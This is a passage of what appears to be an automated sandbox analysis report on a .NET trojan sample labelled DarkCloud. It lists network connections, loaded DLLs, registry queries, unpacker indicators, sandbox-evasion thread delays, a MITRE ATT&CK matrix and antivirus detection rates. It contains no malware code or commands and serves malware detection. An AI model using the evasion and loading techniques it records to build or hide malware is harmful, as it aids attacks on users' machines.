00000000.00000002.2976685963.0000000002AAC000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000291B000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA0000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com/gtag/js?id=AW-999091094
Source: XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000283A000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AE1000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000290B000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028EA000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002A84000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028D6000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000290F000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AC9000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028C6000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028D2000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AF9000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002907000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AB4000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002ACD000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA4000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AC5000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AF5000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AAC000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000291B000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA0000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com/ns.html?id=GTM-5DSSGKT
Source: XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002A98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.schema.org/SiteNavigationElement

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49695 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49698
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49697
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49696
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49695
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49694
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49693
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49692
Source: unknown	Network traffic detected: HTTP traffic on port 49692 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49690
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49681 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49688
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49684
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49683
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49682
Source: unknown	Network traffic detected: HTTP traffic on port 49697 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49681
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49688 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49694 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49683 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49682 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49696 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49693 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49690 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49684 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49698 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 204.44.192.90:443 -> 192.168.2.10:49681 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.44.192.90:443 -> 192.168.2.10:49694 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.44.192.90:443 -> 192.168.2.10:49720 version: TLS 1.2

Source: C:\Users\user\Desktop\XTN1VzRJZm.exe

Code function: 0_2_025B1EED

0_2_025B1EED

Source: XTN1VzRJZm.exe, 00000000.00000002.2975511454.000000000087E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs XTN1VzRJZm.exe
Source: XTN1VzRJZm.exe	Binary or memory string: OriginalFilenameKseqyvqc.exe2 vs XTN1VzRJZm.exe

Source: XTN1VzRJZm.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: XTN1VzRJZm.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: XTN1VzRJZm.exe, -.cs	Cryptographic APIs: 'CreateDecryptor'
Source: XTN1VzRJZm.exe, Zuzoibpokm.cs	Cryptographic APIs: 'CreateDecryptor'

Source: classification engine

Classification label: mal56.evad.winEXE@1/0@1/1

Source: C:\Users\user\Desktop\XTN1VzRJZm.exe

Mutant created: NULL

Source: XTN1VzRJZm.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: XTN1VzRJZm.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\XTN1VzRJZm.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: XTN1VzRJZm.exe	Virustotal: Detection: 65%
Source: XTN1VzRJZm.exe	ReversingLabs: Detection: 63%

Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Section loaded: ncryptsslp.dll	Jump to behavior

Source: C:\Users\user\Desktop\XTN1VzRJZm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: XTN1VzRJZm.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: XTN1VzRJZm.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: XTN1VzRJZm.exe

Static file information: File size 1434624 > 1048576

Source: XTN1VzRJZm.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x15da00

Source: XTN1VzRJZm.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

.NET source code contains potential unpacker

Source: XTN1VzRJZm.exe, -.cs	.Net Code: _E009 System.Reflection.Assembly.Load(byte[])
Source: XTN1VzRJZm.exe, Zuzoibpokm.cs	.Net Code: _E001 System.AppDomain.Load(byte[])

Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Code function: 0_2_025B6048 push eax; ret	0_2_025B6062
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Code function: 0_2_025B6078 push eax; ret	0_2_025B60B2
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Code function: 0_2_025B60D8 push eax; ret	0_2_025B60E2
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Code function: 0_2_025B60C8 push eax; ret	0_2_025B60D2
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Code function: 0_2_025B60B8 push eax; ret	0_2_025B60C2

Source: XTN1VzRJZm.exe

Static PE information: section name: .text entropy: 7.895077757669

Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Memory allocated: 2570000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Memory allocated: 2700000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Memory allocated: 4700000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\XTN1VzRJZm.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Window / User API: threadDelayed 4293			Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Window / User API: threadDelayed 5536			Jump to behavior

Source: C:\Users\user\Desktop\XTN1VzRJZm.exe TID: 6332	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe TID: 6332	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe TID: 6408	Thread sleep count: 4293 > 30	Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe TID: 6408	Thread sleep count: 5536 > 30	Jump to behavior

Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\Desktop\XTN1VzRJZm.exe	Thread delayed: delay time: 100000			Jump to behavior

Source: XTN1VzRJZm.exe, 00000000.00000002.2975511454.0000000000937000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll}

Source: C:\Users\user\Desktop\XTN1VzRJZm.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\XTN1VzRJZm.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\XTN1VzRJZm.exe

Queries volume information: C:\Users\user\Desktop\XTN1VzRJZm.exe VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\XTN1VzRJZm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	OS Credential Dumping	1 Security Software Discovery	Remote Services	11 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	31 Virtualization/Sandbox Evasion	LSASS Memory	31 Virtualization/Sandbox Evasion	Remote Desktop Protocol	Data from Removable Media	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	1 Application Window Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Obfuscated Files or Information	NTDS	12 System Information Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	12 Software Packing	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
XTN1VzRJZm.exe	65%	Virustotal		Browse
XTN1VzRJZm.exe	63%	ReversingLabs	Win32.Trojan.DarkCloud

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

